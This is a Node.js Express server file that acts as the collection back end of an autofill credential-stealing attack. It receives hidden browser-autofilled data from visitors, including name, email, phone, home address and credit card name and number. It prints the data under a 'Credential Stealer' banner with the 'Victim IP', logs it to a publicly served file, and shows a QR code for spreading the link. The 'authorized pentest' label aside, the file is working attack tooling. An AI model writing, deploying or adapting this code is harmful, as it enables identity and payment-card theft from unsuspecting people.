server.js

const express = require('express');
const fs = require('fs');
const path = require('path');
const os = require('os');
const ip = require('ip');
const qrcode = require('qrcode-terminal');

const app = express();
app.use(express.json({ limit: '10mb' }));
app.use(express.static(__dirname));
app.use(express.urlencoded({ extended: true }));

// 🔥 NETWORK CONFIG
const PORT = 3000;
const localIP = ip.address() || 'localhost';
const BASE_URL = `http://${localIP}:${PORT}`;
const logFile = path.join(__dirname, 'pentest-logs.txt');

// Init log file
if (!fs.existsSync(logFile)) {
    fs.writeFileSync(logFile, 'AUTHORIZED PENTEST LOGS\n' + '='.repeat(80) + '\n\n');
}

const recentCaptures = new Map();

// Rate limiting
app.post('/capture', (req, res) => {
    const clientIP = req.ip.replace('::ffff:', '') || req.connection.remoteAddress;
    const now = Date.now();

    if (recentCaptures.has(clientIP) && (now - recentCaptures.get(clientIP)) < 3000) {
        return res.json({ status: 'blocked-duplicate' });
    }
    recentCaptures.set(clientIP, now);

    const data = req.body;
    const timestamp = new Date().toLocaleString('en-IN', {
        timeZone: 'Asia/Kolkata', dateStyle: 'full', timeStyle: 'long'
    });

    // CONSOLE OUTPUT
    console.clear();
    console.log('🔥 Autpfill Credential Stealer! 🔥');
    console.log('=' .repeat(80));
    console.log(`🕒 ${timestamp}`);
    console.log(`🌐 Victim IP: ${clientIP}`);
    console.log(`📱 User-Agent: ${req.headers['user-agent']?.substring(0, 50)}...`);
    console.log('');

    console.log('👤 IDENTIFIERS:');
    console.log(`   Name: ${data.name || 'N/A'}`);
    console.log(`   Email: ${data.email || 'N/A'}`);
    console.log(`   Phone: ${data.tel || data['tel-national'] || 'N/A'}`);
    console.log(`   Org: ${data.organization || 'N/A'}`);

    console.log('\n🏠 LOCATION:');
    console.log(`   Street: ${data['street-address'] || 'N/A'}`);
    console.log(`   Area: ${data.locality || data['address-level2'] || 'N/A'}`);
    console.log(`   City/State: ${data['address-level1'] || data.region || 'N/A'}`);
    console.log(`   PIN: ${data['postal-code'] || 'N/A'}`);
    console.log(`   Country: ${data.country || 'N/A'}`);

    console.log('\n💳 FINANCIAL:');
    console.log(`   CC Name: ${data['cc-name'] || 'N/A'}`);
    console.log(`   CC Number: ${data['cc-number'] || 'N/A'}`);

    console.log('\n📊 FIELDS CAPTURED: ' + Object.keys(data).length);
    console.log('=' .repeat(80));
    console.log(`${BASE_URL}`);

    // FILE LOGGING
    const logEntry = `[${timestamp}] [${clientIP}] ${JSON.stringify(data, null, 2)}\n\n${'-'.repeat(80)}\n`;
    fs.appendFileSync(logFile, logEntry);

    res.json({ status: 'captured', url: BASE_URL, fields: Object.keys(data).length });
});

// Status endpoint
app.get('/status', (req, res) => {
    res.json({
        server: BASE_URL,
        ip: localIP,
        port: PORT,
        logs: `${BASE_URL}/pentest-logs.txt`
    });
});

app.listen(PORT, '0.0.0.0', () => {
    console.clear();
    console.log('🚀 SERVER ACTIVE');
    console.log('=' .repeat(80));
    console.log(`📡 SERVER URL: ${BASE_URL}`);
    console.log(`🌐 LAN IP: ${localIP}:${PORT}`);
    console.log(`📱 Share this URL with devices`);
    console.log('');
    console.log('📊 Status: ' + BASE_URL + '/status');
    console.log('📁 Logs: ' + BASE_URL + '/pentest-logs.txt');
    console.log('');
    qrcode.generate(BASE_URL, { small: true });
    console.log('=' .repeat(80));
});